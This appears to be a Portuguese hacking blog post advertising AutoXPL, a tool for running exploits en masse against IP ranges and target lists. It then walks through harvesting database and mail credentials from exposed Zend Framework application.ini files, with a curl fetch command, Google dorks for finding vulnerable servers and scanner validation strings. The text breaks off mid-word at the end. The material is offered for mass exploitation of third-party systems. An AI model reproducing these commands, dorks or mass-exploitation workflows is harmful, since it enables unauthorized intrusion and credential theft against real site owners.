"T0" c0m mu1ta pr3guica de faz3r um post na lingu4 d0s gringo, v41 ser em PT-BR m3smo.Venho trazer um script que vem a muito tempo quebrando meu galho quando se trata de exploracao em massa, na questao motor, mas o que seria "motor" ?Motor refiro-me quando temos um script que pode trazer alvos seja de um arquivo,banco de dados ou gerando dinamicamente.E justamente isso que AutoXPL faz, ele executa outros exploits de forma massiva.Suponhamos que voce tenha um script basico que explora uma determinada falha SQLI de um serveronde voce precisa passar via parametro o alvo e so, ele explora 1 para 1. [+] AUTOR: googleINURL [+] EMAIL: inurlbr@gmail.com [+] Blog: http://blog.inurl.com.br [+] Twitter: https://twitter.com/googleinurl [+] Fanpage: https://fb.com/InurlBrasil [+] Pastebin http://pastebin.com/u/Googleinurl [+] GIT: https://github.com/googleinurl [+] PSS: http://packetstormsecurity.com/user/googleinurl [+] YOUTUBE: http://youtube.com/c/INURLBrasil [+] PLUS: http://google.com/+INURLBrasilVamos usar um exemplo simples de ping um script dispara um ping contra o hostExemplo de script 1 para 1:./xpl.sh 'www.google.com.br'Agora vamos executar via AutoXPL:DOWNLOAD:https://github.com/googleinurl/AutoXPLMENU: -t : SET TARGET. -f : SET FILE TARGETS. --range : SET RANGE IP. --range-rand : SET NUMBE IP RANDOM. --xpl : SET COMMAND XPL. Execute: php autoxpl.php -t target --xpl './xpl _TARGET_' php autoxpl.php -f targets.txt --xpl './xpl _TARGET_' php autoxpl.php --range '200.1.10.1,200.1.10.255' --xpl './xpl _TARGET_' php autoxpl.php --range-rand 20 --xpl './xpl _TARGET_'Exemplo de script AutoXPL para varios:php autoxpl.php -f targets.txt --xpl './xpl.sh _TARGET_'O parametro --xpl do script AutoXPL funciona executando um command line, assim possibilita ate mesmo aviar um curl, nmap, sqlmap ou seja aquele exploit FTP, pois podemos gerar lista de IPs com o script.Exemplo usando range de IP:php autoxpl.php --range '200.1.10.1,200.1.10.255' --xpl './xpl.sh _TARGET_' 3xpl0r4nd0 Z3nd Fr4m3w0rk Full 1nf0 D15cl05ur34Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda esta em alta. devido a falta de atencao de muitos desenvs & admins.Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuracao da aplicacao local.Acessar informacoes como:'mail.transport.username''mail.transport.password''db.adapter''db.params.host''db.params.username''db.params.password''db.params.dbname'Exemplo:resources.mail.transport.host ="smtp.target.com.br"resources.mail.transport.auth = "loginre"sources.mail.transport.username = "wangxydlutre"sources.mail.transport.password = "12333"resources.db.adapter = "PDO_MYSQL"resources.db.params.host = "mysql.target.com.br"resources.db.params.username = "root"resources.db.params.password = "123456"resources.db.params.dbname = "db_app_teste"Tais informacoes sao encontradas no arquivo application.ini,db.ini,config.ini dentro da pasta /application/configs.Exemplo de estrutura URL:http://{taget}/pasta/application/configs/{arquivo}.inihttp://{taget}/application/configs/{arquivo}.iniAcessando arquivo via CURL:curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'Com o conceito de como acessar tal arquivo e do que podemos encontrar no mesmo, vamos para buscar servidores.DORK[s]:site:br index of "/application/configs/"inurl:/application/configs/application.inisite:com ext:ini inurl:/application/ -inurl:"git*" -github -assembla -inurl:mozilla -inurl:google "params.password"-site:.google.com -site:.github.com -site:.sourceforge.net -site:.googlecode.com inurl:/application/configs/ "params" ext:iniinurl:/configs/ "params.password" db.ini ext:ini-github.com -mozilla.org -.google.com inurl:/application/ ext:ini passwordAgora vamos explora em massa com SCANNER inurlbrDownload da ferramenta:https://github.com/googleinurl/SCANNER-INURLBRMontar comando baseado nas informacoes que ja sabemos, o principal intuito achar possiveis servidores atraves de motores de busca e ja testar o possivel conteudo de cada url encontrada.O script INURLBR ja possui por padrao um conjunto de strings para tal validacao: /* [*]ZEND FRAMEWORK* Zend-Framework Full Info Disclosure* The username and password of the database may be obtained trough * the "application.ini" file* https://www.exploit-db.com/exploits/29921/ */$validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';$validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';$validation['ZEND-FRAMEWORK-03'] = 'db.params.username';$validation['ZEND-FRAMEWORK-04'] = 'db.params.password';$validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';COMMANDSET